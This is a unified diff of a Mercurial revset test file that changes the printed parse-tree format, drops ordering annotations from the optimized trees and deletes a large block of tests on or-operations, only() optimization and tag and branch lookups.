-          ('symbol', '4'))))
-    ('symbol', '2'))
+            (symbol '3'))
+          (symbol '4'))))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -906,9 +874,9 @@
       (group
         (dagrange
           (parentpost
-            ('symbol', '3'))
-          ('symbol', '4'))))
-    ('symbol', '2'))
+            (symbol '3'))
+          (symbol '4'))))
+    (symbol '2'))
   * set:
   <baseset+ [0, 1, 2]>
   0
@@ -921,7 +889,7 @@
       (group
         (rangepost
           (parentpost
-            ('symbol', '9'))))))
+            (symbol '9'))))))
   * set:
   <spanset+ 4:10>
   4
@@ -934,12 +902,12 @@
  x^ in alias should also be resolved
 
   $ try 'A' --config 'revsetalias.A=1^:2'
-  ('symbol', 'A')
+  (symbol 'A')
   * expanded:
   (range
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -948,13 +916,13 @@
 
   $ try 'A:2' --config 'revsetalias.A=1^'
   (range
-    ('symbol', 'A')
-    ('symbol', '2'))
+    (symbol 'A')
+    (symbol '2'))
   * expanded:
   (range
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -966,13 +934,13 @@
 
   $ try '1^A' --config 'revsetalias.A=:2'
   (parent
-    ('symbol', '1')
-    ('symbol', 'A'))
+    (symbol '1')
+    (symbol 'A'))
   * expanded:
   (parent
-    ('symbol', '1')
+    (symbol '1')
     (rangepre
-      ('symbol', '2')))
+      (symbol '2')))
   hg: parse error: ^ expects a number 0, 1, or 2
   [255]
 
@@ -1200,11 +1168,11 @@
   * parsed:
   (relsubscript
     (func
-      ('symbol', 'roots')
+      (symbol 'roots')
       (rangeall
         None))
-    ('symbol', 'g')
-    ('symbol', '2'))
+    (symbol 'g')
+    (symbol '2'))
   2
   3
 
@@ -1302,22 +1270,22 @@
   6
   $ try 'grep("(")' # invalid regular expression
   (func
-    ('symbol', 'grep')
-    ('string', '('))
+    (symbol 'grep')
+    (string '('))
   hg: parse error: invalid match pattern: unbalanced parenthesis
   [255]
   $ try 'grep("\bissue\d+")'
   (func
-    ('symbol', 'grep')
-    ('string', '\x08issue\\d+'))
+    (symbol 'grep')
+    (string '\x08issue\\d+'))
   * set:
   <filteredset
     <fullreposet+ 0:10>,
     <grep '\x08issue\\d+'>>
   $ try 'grep(r"\bissue\d+")'
   (func
-    ('symbol', 'grep')
-    ('string', '\\bissue\\d+'))
+    (symbol 'grep')
+    (string '\\bissue\\d+'))
   * set:
   <filteredset
     <fullreposet+ 0:10>,
@@ -1634,20 +1602,17 @@
   (onlypost
     (minus
       (range
-        ('symbol', '8')
-        ('symbol', '9'))
-      ('symbol', '8')))
+        (symbol '8')
+        (symbol '9'))
+      (symbol '8')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (difference
       (range
-        ('symbol', '8')
-        ('symbol', '9')
-        define)
-      ('symbol', '8')
-      define)
-    define)
+        (symbol '8')
+        (symbol '9'))
+      (symbol '8')))
   * set:
   <baseset+ [8, 9]>
   8
@@ -1655,16 +1620,15 @@
   $ try --optimize '(9)%(5)'
   (only
     (group
-      ('symbol', '9'))
+      (symbol '9'))
     (group
-      ('symbol', '5')))
+      (symbol '5')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '9')
-      ('symbol', '5'))
-    define)
+      (symbol '9')
+      (symbol '5')))
   * set:
   <baseset+ [2, 4, 8, 9]>
   2
@@ -1830,7 +1794,7 @@
   $ cd wdir-hashcollision
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > evolution = createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ echo 0 > a
   $ hg ci -qAm 0
@@ -1998,19 +1962,14 @@
   (difference
     (and
       (range
-        ('symbol', '3')
-        ('symbol', '0')
-        define)
+        (symbol '3')
+        (symbol '0'))
       (range
-        ('symbol', '0')
-        ('symbol', '3')
-        follow)
-      define)
+        (symbol '0')
+        (symbol '3')))
     (range
-      ('symbol', '2')
-      ('symbol', '1')
-      any)
-    define)
+      (symbol '2')
+      (symbol '1')))
   * set:
   <filteredset
     <filteredset
@@ -2027,25 +1986,22 @@
   $ try --optimize '2:0 & (0 + 1 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (group
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '1')
-          ('symbol', '2')))))
+          (symbol '0')
+          (symbol '1')
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_list')
-      ('string', '0\x001\x002')
-      follow)
-    define)
+      (symbol '_list')
+      (string '0\x001\x002')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2059,36 +2015,32 @@
   $ try --optimize '2:0 & (0:1 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (group
       (or
         (list
           (range
-            ('symbol', '0')
-            ('symbol', '1'))
-          ('symbol', '2')))))
+            (symbol '0')
+            (symbol '1'))
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (or
       (list
-        ('symbol', '2')
         (range
-          ('symbol', '0')
-          ('symbol', '1')
-          follow))
-      follow)
-    define)
+          (symbol '0')
+          (symbol '1'))
+        (symbol '2'))))
   * set:
   <filteredset
     <spanset- 0:3>,
     <addset
-      <baseset [2]>,
-      <spanset+ 0:2>>>
+      <spanset+ 0:2>,
+      <baseset [2]>>>
   2
   1
   0
@@ -2098,22 +2050,19 @@
   $ trylist --optimize '2:0 & %ld' 0 1 2
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
-    (func
-      ('symbol', '_intlist')
-      ('string', '0\x001\x002')))
-  * optimized:
-  (and
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_intlist')
-      ('string', '0\x001\x002')
-      follow)
+      (symbol '_intlist')
+      (string '0\x001\x002')))
+  * optimized:
+  (andsmally
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
-    define)
+      (symbol '2')
+      (symbol '0'))
+    (func
+      (symbol '_intlist')
+      (string '0\x001\x002')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2125,22 +2074,19 @@
   $ trylist --optimize '%ld & 2:0' 0 2 1
   (and
     (func
-      ('symbol', '_intlist')
-      ('string', '0\x002\x001'))
+      (symbol '_intlist')
+      (string '0\x002\x001'))
     (range
-      ('symbol', '2')
-      ('symbol', '0')))
+      (symbol '2')
+      (symbol '0')))
   * optimized:
   (and
     (func
-      ('symbol', '_intlist')
-      ('string', '0\x002\x001')
-      define)
+      (symbol '_intlist')
+      (string '0\x002\x001'))
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      follow)
-    define)
+      (symbol '2')
+      (symbol '0')))
   * set:
   <filteredset
     <baseset [0, 2, 1]>,
@@ -2154,22 +2100,19 @@
   $ trylist --optimize --bin '2:0 & %ln' `hg log -T '{node} ' -r0:2`
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_hexlist')
-      ('string', '*'))) (glob)
+      (symbol '_hexlist')
+      (string '*'))) (glob)
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_hexlist')
-      ('string', '*') (glob)
-      follow)
-    define)
+      (symbol '_hexlist')
+      (string '*'))) (glob)
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2181,22 +2124,19 @@
   $ trylist --optimize --bin '%ln & 2:0' `hg log -T '{node} ' -r0+2+1`
   (and
     (func
-      ('symbol', '_hexlist')
-      ('string', '*')) (glob)
-    (range
-      ('symbol', '2')
-      ('symbol', '0')))
-  * optimized:
-  (and
+      (symbol '_hexlist')
+      (string '*')) (glob)
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      follow)
+      (symbol '2')
+      (symbol '0')))
+  * optimized:
+  (andsmally
     (func
-      ('symbol', '_hexlist')
-      ('string', '*') (glob)
-      define)
-    define)
+      (symbol '_hexlist')
+      (string '*')) (glob)
+    (range
+      (symbol '2')
+      (symbol '0')))
   * set:
   <baseset [0, 2, 1]>
   0
@@ -2210,14 +2150,11 @@
   * optimized:
   (difference
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_list')
-      ('string', '0\x001')
-      any)
-    define)
+      (symbol '_list')
+      (string '0\x001')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2229,20 +2166,15 @@
   * optimized:
   (difference
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (and
       (range
-        ('symbol', '0')
-        ('symbol', '2')
-        any)
+        (symbol '0')
+        (symbol '2'))
       (func
-        ('symbol', '_list')
-        ('string', '0\x001')
-        any)
-      any)
-    define)
+        (symbol '_list')
+        (string '0\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2256,12 +2188,10 @@
   $ try -p optimized 'present(2 + 0 + 1)'
   * optimized:
   (func
-    ('symbol', 'present')
+    (symbol 'present')
     (func
-      ('symbol', '_list')
-      ('string', '2\x000\x001')
-      define)
-    define)
+      (symbol '_list')
+      (string '2\x000\x001')))
   * set:
   <baseset [2, 0, 1]>
   2
@@ -2271,29 +2201,25 @@
   $ try --optimize '2:0 & present(0 + 1 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'present')
+      (symbol 'present')
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '1')
-          ('symbol', '2')))))
+          (symbol '0')
+          (symbol '1')
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'present')
+      (symbol 'present')
       (func
-        ('symbol', '_list')
-        ('string', '0\x001\x002')
-        follow)
-      follow)
-    define)
+        (symbol '_list')
+        (string '0\x001\x002'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2307,27 +2233,23 @@
   $ try --optimize '0:2 & reverse(all())'
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2'))
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'all')
+        (symbol 'all')
         None)))
   * optimized:
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2')
-      define)
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'all')
-        None
-        define)
-      follow)
-    define)
+        (symbol 'all')
+        None)))
   * set:
   <filteredset
     <spanset+ 0:3>,
@@ -2341,32 +2263,28 @@
   $ try --optimize '0:2 & sort(all(), -rev)'
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2'))
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (func
-          ('symbol', 'all')
+          (symbol 'all')
           None)
         (negate
-          ('symbol', 'rev')))))
+          (symbol 'rev')))))
   * optimized:
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2')
-      define)
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (func
-          ('symbol', 'all')
-          None
-          define)
-        ('string', '-rev'))
-      follow)
-    define)
+          (symbol 'all')
+          None)
+        (string '-rev'))))
   * set:
   <filteredset
     <spanset+ 0:3>,
@@ -2389,29 +2307,25 @@
   $ try --optimize '2:0 & first(1 + 0 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'first')
+      (symbol 'first')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '0')
-          ('symbol', '2')))))
+          (symbol '1')
+          (symbol '0')
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'first')
+      (symbol 'first')
       (func
-        ('symbol', '_list')
-        ('string', '1\x000\x002')
-        define)
-      follow)
-    define)
+        (symbol '_list')
+        (string '1\x000\x002'))))
   * set:
   <filteredset
     <baseset [1]>,
@@ -2421,30 +2335,26 @@
   $ try --optimize '2:0 & not last(0 + 2 + 1)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (not
       (func
-        ('symbol', 'last')
+        (symbol 'last')
         (or
           (list
-            ('symbol', '0')
-            ('symbol', '2')
-            ('symbol', '1'))))))
+            (symbol '0')
+            (symbol '2')
+            (symbol '1'))))))
   * optimized:
   (difference
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'last')
+      (symbol 'last')
       (func
-        ('symbol', '_list')
-        ('string', '0\x002\x001')
-        define)
-      any)
-    define)
+        (symbol '_list')
+        (string '0\x002\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2458,71 +2368,60 @@
   $ try --optimize '2:0 & (1 + 0 + 2):(0 + 2 + 1)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (range
       (group
         (or
           (list
-            ('symbol', '1')
-            ('symbol', '0')
-            ('symbol', '2'))))
+            (symbol '1')
+            (symbol '0')
+            (symbol '2'))))
       (group
         (or
           (list
-            ('symbol', '0')
-            ('symbol', '2')
-            ('symbol', '1'))))))
+            (symbol '0')
+            (symbol '2')
+            (symbol '1'))))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0')
-      define)
+      (symbol '2')
+      (symbol '0'))
     (range
       (func
-        ('symbol', '_list')
-        ('string', '1\x000\x002')
-        define)
+        (symbol '_list')
+        (string '1\x000\x002'))
       (func
-        ('symbol', '_list')
-        ('string', '0\x002\x001')
-        define)
-      follow)
-    define)
+        (symbol '_list')
+        (string '0\x002\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
     <baseset [1]>>
   1
 
- 'A & B' can be rewritten as 'B & A' by weight, but that's fine as long as
- the ordering rule is determined before the rewrite; in this example,
- 'B' follows the order of the initial set, which is the same order as 'A'
- since 'A' also follows the order:
+ 'A & B' can be rewritten as 'flipand(B, A)' by weight.
 
   $ try --optimize 'contains("glob:*") & (2 + 0 + 1)'
   (and
     (func
-      ('symbol', 'contains')
-      ('string', 'glob:*'))
+      (symbol 'contains')
+      (string 'glob:*'))
     (group
       (or
         (list
-          ('symbol', '2')
-          ('symbol', '0')
-          ('symbol', '1')))))
+          (symbol '2')
+          (symbol '0')
+          (symbol '1')))))
   * optimized:
-  (and
+  (andsmally
     (func
-      ('symbol', '_list')
-      ('string', '2\x000\x001')
-      follow)
+      (symbol 'contains')
+      (string 'glob:*'))
     (func
-      ('symbol', 'contains')
-      ('string', 'glob:*')
-      define)
-    define)
+      (symbol '_list')
+      (string '2\x000\x001')))
   * set:
   <filteredset
     <baseset+ [0, 1, 2]>,
@@ -2537,30 +2436,26 @@
   $ try --optimize 'reverse(contains("glob:*")) & (0 + 2 + 1)'
   (and
     (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'contains')
-        ('string', 'glob:*')))
+        (symbol 'contains')
+        (string 'glob:*')))
     (group
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '2')
-          ('symbol', '1')))))
+          (symbol '0')
+          (symbol '2')
+          (symbol '1')))))
   * optimized:
-  (and
+  (andsmally
     (func
-      ('symbol', '_list')
-      ('string', '0\x002\x001')
-      follow)
-    (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'contains')
-        ('string', 'glob:*')
-        define)
-      define)
-    define)
+        (symbol 'contains')
+        (string 'glob:*')))
+    (func
+      (symbol '_list')
+      (string '0\x002\x001')))
   * set:
   <filteredset
     <baseset- [0, 1, 2]>,
@@ -2569,69 +2464,6 @@
   1
   0
 
- 'A + B' can be rewritten to 'B + A' by weight only when the order doesn't
- matter (e.g. 'X & (A + B)' can be 'X & (B + A)', but '(A + B) & X' can't):
-
-  $ try -p optimized '0:2 & (reverse(contains("a")) + 2)'
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      define)
-    (or
-      (list
-        ('symbol', '2')
-        (func
-          ('symbol', 'reverse')
-          (func
-            ('symbol', 'contains')
-            ('string', 'a')
-            define)
-          follow))
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset+ 0:3>,
-    <addset
-      <baseset [2]>,
-      <filteredset
-        <fullreposet+ 0:10>,
-        <contains 'a'>>>>
-  0
-  1
-  2
-
-  $ try -p optimized '(reverse(contains("a")) + 2) & 0:2'
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      follow)
-    (or
-      (list
-        (func
-          ('symbol', 'reverse')
-          (func
-            ('symbol', 'contains')
-            ('string', 'a')
-            define)
-          define)
-        ('symbol', '2'))
-      define)
-    define)
-  * set:
-  <addset
-    <filteredset
-      <spanset- 0:3>,
-      <contains 'a'>>,
-    <baseset [2]>>
-  1
-  0
-  2
-
 test sort revset
 --------------------------------------------
 
@@ -2905,1609 +2737,3 @@
 
   $ cd ..
   $ cd repo
-
-test subtracting something from an addset
-
-  $ log '(outgoing() or removes(a)) - removes(a)'
-  8
-  9
-
-test intersecting something with an addset
-
-  $ log 'parents(outgoing() or removes(a))'
-  1
-  4
-  5
-  8
-
-test that `or` operation combines elements in the right order:
-
-  $ log '3:4 or 2:5'
-  3
-  4
-  2
-  5
-  $ log '3:4 or 5:2'
-  3
-  4
-  5
-  2
-  $ log 'sort(3:4 or 2:5)'
-  2
-  3
-  4
-  5
-  $ log 'sort(3:4 or 5:2)'
-  2
-  3
-  4
-  5
-
-test that more than one `-r`s are combined in the right order and deduplicated:
-
-  $ hg log -T '{rev}\n' -r 3 -r 3 -r 4 -r 5:2 -r 'ancestors(4)'
-  3
-  4
-  5
-  2
-  0
-  1
-
-test that `or` operation skips duplicated revisions from right-hand side
-
-  $ try 'reverse(1::5) or ancestors(4)'
-  (or
-    (list
-      (func
-        ('symbol', 'reverse')
-        (dagrange
-          ('symbol', '1')
-          ('symbol', '5')))
-      (func
-        ('symbol', 'ancestors')
-        ('symbol', '4'))))
-  * set:
-  <addset
-    <baseset- [1, 3, 5]>,
-    <generatorset+>>
-  5
-  3
-  1
-  0
-  2
-  4
-  $ try 'sort(ancestors(4) or reverse(1::5))'
-  (func
-    ('symbol', 'sort')
-    (or
-      (list
-        (func
-          ('symbol', 'ancestors')
-          ('symbol', '4'))
-        (func
-          ('symbol', 'reverse')
-          (dagrange
-            ('symbol', '1')
-            ('symbol', '5'))))))
-  * set:
-  <addset+
-    <generatorset+>,
-    <baseset- [1, 3, 5]>>
-  0
-  1
-  2
-  3
-  4
-  5
-
-test optimization of trivial `or` operation
-
-  $ try --optimize '0|(1)|"2"|-2|tip|null'
-  (or
-    (list
-      ('symbol', '0')
-      (group
-        ('symbol', '1'))
-      ('string', '2')
-      (negate
-        ('symbol', '2'))
-      ('symbol', 'tip')
-      ('symbol', 'null')))
-  * optimized:
-  (func
-    ('symbol', '_list')
-    ('string', '0\x001\x002\x00-2\x00tip\x00null')
-    define)
-  * set:
-  <baseset [0, 1, 2, 8, 9, -1]>
-  0
-  1
-  2
-  8
-  9
-  -1
-
-  $ try --optimize '0|1|2:3'
-  (or
-    (list
-      ('symbol', '0')
-      ('symbol', '1')
-      (range
-        ('symbol', '2')
-        ('symbol', '3'))))
-  * optimized:
-  (or
-    (list
-      (func
-        ('symbol', '_list')
-        ('string', '0\x001')
-        define)
-      (range
-        ('symbol', '2')
-        ('symbol', '3')
-        define))
-    define)
-  * set:
-  <addset
-    <baseset [0, 1]>,
-    <spanset+ 2:4>>
-  0
-  1
-  2
-  3
-
-  $ try --optimize '0:1|2|3:4|5|6'
-  (or
-    (list
-      (range
-        ('symbol', '0')
-        ('symbol', '1'))
-      ('symbol', '2')
-      (range
-        ('symbol', '3')
-        ('symbol', '4'))
-      ('symbol', '5')
-      ('symbol', '6')))
-  * optimized:
-  (or
-    (list
-      (range
-        ('symbol', '0')
-        ('symbol', '1')
-        define)
-      ('symbol', '2')
-      (range
-        ('symbol', '3')
-        ('symbol', '4')
-        define)
-      (func
-        ('symbol', '_list')
-        ('string', '5\x006')
-        define))
-    define)
-  * set:
-  <addset
-    <addset
-      <spanset+ 0:2>,
-      <baseset [2]>>,
-    <addset
-      <spanset+ 3:5>,
-      <baseset [5, 6]>>>
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-
-unoptimized `or` looks like this
-
-  $ try --no-optimized -p analyzed '0|1|2|3|4'
-  * analyzed:
-  (or
-    (list
-      ('symbol', '0')
-      ('symbol', '1')
-      ('symbol', '2')
-      ('symbol', '3')
-      ('symbol', '4'))
-    define)
-  * set:
-  <addset
-    <addset
-      <baseset [0]>,
-      <baseset [1]>>,
-    <addset
-      <baseset [2]>,
-      <addset
-        <baseset [3]>,
-        <baseset [4]>>>>
-  0
-  1
-  2
-  3
-  4
-
-test that `_list` should be narrowed by provided `subset`
-
-  $ log '0:2 and (null|1|2|3)'
-  1
-  2
-
-test that `_list` should remove duplicates
-
-  $ log '0|1|2|1|2|-1|tip'
-  0
-  1
-  2
-  9
-
-test unknown revision in `_list`
-
-  $ log '0|unknown'
-  abort: unknown revision 'unknown'!
-  [255]
-
-test integer range in `_list`
-
-  $ log '-1|-10'
-  9
-  0
-
-  $ log '-10|-11'
-  abort: unknown revision '-11'!
-  [255]
-
-  $ log '9|10'
-  abort: unknown revision '10'!
-  [255]
-
-test '0000' != '0' in `_list`
-
-  $ log '0|0000'
-  0
-  -1
-
-test ',' in `_list`
-  $ log '0,1'
-  hg: parse error: can't use a list in this context
-  (see hg help "revsets.x or y")
-  [255]
-  $ try '0,1,2'
-  (list
-    ('symbol', '0')
-    ('symbol', '1')
-    ('symbol', '2'))
-  hg: parse error: can't use a list in this context
-  (see hg help "revsets.x or y")
-  [255]
-
-test that chained `or` operations make balanced addsets
-
-  $ try '0:1|1:2|2:3|3:4|4:5'
-  (or
-    (list
-      (range
-        ('symbol', '0')
-        ('symbol', '1'))
-      (range
-        ('symbol', '1')
-        ('symbol', '2'))
-      (range
-        ('symbol', '2')
-        ('symbol', '3'))
-      (range
-        ('symbol', '3')
-        ('symbol', '4'))
-      (range
-        ('symbol', '4')
-        ('symbol', '5'))))
-  * set:
-  <addset
-    <addset
-      <spanset+ 0:2>,
-      <spanset+ 1:3>>,
-    <addset
-      <spanset+ 2:4>,
-      <addset
-        <spanset+ 3:5>,
-        <spanset+ 4:6>>>>
-  0
-  1
-  2
-  3
-  4
-  5
-
-no crash by empty group "()" while optimizing `or` operations
-
-  $ try --optimize '0|()'
-  (or
-    (list
-      ('symbol', '0')
-      (group
-        None)))
-  * optimized:
-  (or
-    (list
-      ('symbol', '0')
-      None)
-    define)
-  hg: parse error: missing argument
-  [255]
-
-test that chained `or` operations never eat up stack (issue4624)
-(uses `0:1` instead of `0` to avoid future optimization of trivial revisions)
-
-  $ hg log -T '{rev}\n' -r `$PYTHON -c "print '+'.join(['0:1'] * 500)"`
-  0
-  1
-
-test that repeated `-r` options never eat up stack (issue4565)
-(uses `-r 0::1` to avoid possible optimization at old-style parser)
-
-  $ hg log -T '{rev}\n' `$PYTHON -c "for i in xrange(500): print '-r 0::1 ',"`
-  0
-  1
-
-check that conversion to only works
-  $ try --optimize '::3 - ::1'
-  (minus
-    (dagrangepre
-      ('symbol', '3'))
-    (dagrangepre
-      ('symbol', '1')))
-  * optimized:
-  (func
-    ('symbol', 'only')
-    (list
-      ('symbol', '3')
-      ('symbol', '1'))
-    define)
-  * set:
-  <baseset+ [3]>
-  3
-  $ try --optimize 'ancestors(1) - ancestors(3)'
-  (minus
-    (func
-      ('symbol', 'ancestors')
-      ('symbol', '1'))
-    (func
-      ('symbol', 'ancestors')
-      ('symbol', '3')))
-  * optimized:
-  (func
-    ('symbol', 'only')
-    (list
-      ('symbol', '1')
-      ('symbol', '3'))
-    define)
-  * set:
-  <baseset+ []>
-  $ try --optimize 'not ::2 and ::6'
-  (and
-    (not
-      (dagrangepre
-        ('symbol', '2')))
-    (dagrangepre
-      ('symbol', '6')))
-  * optimized:
-  (func
-    ('symbol', 'only')
-    (list
-      ('symbol', '6')
-      ('symbol', '2'))
-    define)
-  * set:
-  <baseset+ [3, 4, 5, 6]>
-  3
-  4
-  5
-  6
-  $ try --optimize 'ancestors(6) and not ancestors(4)'
-  (and
-    (func
-      ('symbol', 'ancestors')
-      ('symbol', '6'))
-    (not
-      (func
-        ('symbol', 'ancestors')
-        ('symbol', '4'))))
-  * optimized:
-  (func
-    ('symbol', 'only')
-    (list
-      ('symbol', '6')
-      ('symbol', '4'))
-    define)
-  * set:
-  <baseset+ [3, 5, 6]>
-  3
-  5
-  6
-
-no crash by empty group "()" while optimizing to "only()"
-
-  $ try --optimize '::1 and ()'
-  (and
-    (dagrangepre
-      ('symbol', '1'))
-    (group
-      None))
-  * optimized:
-  (and
-    None
-    (func
-      ('symbol', 'ancestors')
-      ('symbol', '1')
-      define)
-    define)
-  hg: parse error: missing argument
-  [255]
-
-optimization to only() works only if ancestors() takes only one argument
-
-  $ hg debugrevspec -p optimized 'ancestors(6) - ancestors(4, 1)'
-  * optimized:
-  (difference
-    (func
-      ('symbol', 'ancestors')
-      ('symbol', '6')
-      define)
-    (func
-      ('symbol', 'ancestors')
-      (list
-        ('symbol', '4')
-        ('symbol', '1'))
-      any)
-    define)
-  0
-  1
-  3
-  5
-  6
-  $ hg debugrevspec -p optimized 'ancestors(6, 1) - ancestors(4)'
-  * optimized:
-  (difference
-    (func
-      ('symbol', 'ancestors')
-      (list
-        ('symbol', '6')
-        ('symbol', '1'))
-      define)
-    (func
-      ('symbol', 'ancestors')
-      ('symbol', '4')
-      any)
-    define)
-  5
-  6
-
-optimization disabled if keyword arguments passed (because we're too lazy
-to support it)
-
-  $ hg debugrevspec -p optimized 'ancestors(set=6) - ancestors(set=4)'
-  * optimized:
-  (difference
-    (func
-      ('symbol', 'ancestors')
-      (keyvalue
-        ('symbol', 'set')
-        ('symbol', '6'))
-      define)
-    (func
-      ('symbol', 'ancestors')
-      (keyvalue
-        ('symbol', 'set')
-        ('symbol', '4'))
-      any)
-    define)
-  3
-  5
-  6
-
-invalid function call should not be optimized to only()
-
-  $ log '"ancestors"(6) and not ancestors(4)'
-  hg: parse error: not a symbol
-  [255]
-
-  $ log 'ancestors(6) and not "ancestors"(4)'
-  hg: parse error: not a symbol
-  [255]
-
-we can use patterns when searching for tags
-
-  $ log 'tag("1..*")'
-  abort: tag '1..*' does not exist!
-  [255]
-  $ log 'tag("re:1..*")'
-  6
-  $ log 'tag("re:[0-9].[0-9]")'
-  6
-  $ log 'tag("literal:1.0")'
-  6
-  $ log 'tag("re:0..*")'
-
-  $ log 'tag(unknown)'
-  abort: tag 'unknown' does not exist!
-  [255]
-  $ log 'tag("re:unknown")'
-  $ log 'present(tag("unknown"))'
-  $ log 'present(tag("re:unknown"))'
-  $ log 'branch(unknown)'
-  abort: unknown revision 'unknown'!
-  [255]
-  $ log 'branch("literal:unknown")'
-  abort: branch 'unknown' does not exist!
-  [255]
-  $ log 'branch("re:unknown")'
-  $ log 'present(branch("unknown"))'
-  $ log 'present(branch("re:unknown"))'
-  $ log 'user(bob)'
-  2
-
-  $ log '4::8'
-  4
-  8
-  $ log '4:8'
-  4
-  5
-  6
-  7
-  8
-
-  $ log 'sort(!merge() & (modifies(b) | user(bob) | keyword(bug) | keyword(issue) & 1::9), "-date")'
-  4
-  2
-  5
-
-  $ log 'not 0 and 0:2'
-  1
-  2
-  $ log 'not 1 and 0:2'
-  0
-  2
-  $ log 'not 2 and 0:2'
-  0
-  1
-  $ log '(1 and 2)::'
-  $ log '(1 and 2):'
-  $ log '(1 and 2):3'
-  $ log 'sort(head(), -rev)'
-  9
-  7
-  6
-  5
-  4
-  3
-  2
-  1
-  0
-  $ log '4::8 - 8'
-  4
-
-matching() should preserve the order of the input set:
-
-  $ log '(2 or 3 or 1) and matching(1 or 2 or 3)'
-  2
-  3
-  1
-
-  $ log 'named("unknown")'
-  abort: namespace 'unknown' does not exist!
-  [255]
-  $ log 'named("re:unknown")'
-  abort: no namespace exists that match 'unknown'!
-  [255]
-  $ log 'present(named("unknown"))'
-  $ log 'present(named("re:unknown"))'
-
-  $ log 'tag()'
-  6
-  $ log 'named("tags")'
-  6
-
-issue2437
-
-  $ log '3 and p1(5)'
-  3
-  $ log '4 and p2(6)'
-  4
-  $ log '1 and parents(:2)'
-  1
-  $ log '2 and children(1:)'
-  2
-  $ log 'roots(all()) or roots(all())'
-  0
-  $ hg debugrevspec 'roots(all()) or roots(all())'
-  0
-  $ log 'heads(branch(é)) or heads(branch(é))'
-  9
-  $ log 'ancestors(8) and (heads(branch("-a-b-c-")) or heads(branch(é)))'
-  4
-
-issue2654: report a parse error if the revset was not completely parsed
-
-  $ log '1 OR 2'
-  hg: parse error at 2: invalid token
-  [255]
-
-or operator should preserve ordering:
